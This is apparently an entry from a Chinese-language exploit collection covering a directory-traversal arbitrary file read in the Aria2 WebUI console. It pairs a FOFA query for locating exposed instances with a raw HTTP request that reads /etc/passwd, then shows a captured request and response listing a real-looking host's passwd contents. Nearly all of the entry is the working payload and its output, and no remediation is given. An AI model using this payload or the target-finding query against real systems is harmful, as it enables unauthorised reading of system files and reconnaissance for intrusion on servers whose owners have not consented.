

# A13-1Aria2-WebUI控制台-任意文件读取

## 漏洞描述：

Aria2 WebUI控制台存在目录遍历漏洞，未授权的攻击者可通过../目录遍历读取任意系统文件，导致系统敏感信息泄露，使系统处于极不安全的状态。

## 网站图片：



## 网络测绘：

### fofa语法：





FOFA: app="Aria2-WebUI"

## 漏洞复现：

### payload:

```
GET ../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
```




### 效果图:

SendCancel

target: http://11

Request

PrettyRawHex



1GET ../../../../etc/passwd HTTP/1.1

2Content-Length: 239

3

4Host: .16:82

5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36




6Accept-Encoding: gzip, deflate

7Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

8Connection: close

Response

PrettyRawHexRender



1HTTP/1.1 200 OK

2Content-Type: text/html

3Date: Tue, 30 Jan 2024 04:01:51 GMT

4Connection: keep-alive

5Content-Length: 1989

6

7root:x:0:0:root:/root:/bin/bash

8daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

9bin:x:2:2:bin:/bin:/usr/sbin/nologin

10sys:x:3:3:sys:/dev:/usr/sbin/nologin

11sync:x:4:65534:sync:/bin:/bin/sync

12games:x:5:60:games:/usr/games:/usr/sbin/nologin

13man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

14lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

15mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

16news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

17uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

18proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

19www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

20backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

21list:x:38:38:Mailing List

22Manager:/var/list:/usr/sbin/nologin

23irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin

24gnats:x:41:41:Gnats Bug-Reporting System (admin) /var/lib/gnats:/usr/sbin/nologin

25nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

26systemd-timesync:x:100:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin

27systemd-network:x:101:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin

28systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin

29\_apt:x:103:65534::/nonexistent:/usr/sbin/nologin

30pi:x:1000:1000,,,:/home/pi:/bin/bash

Inspector

Request

Request

Request

Request

Response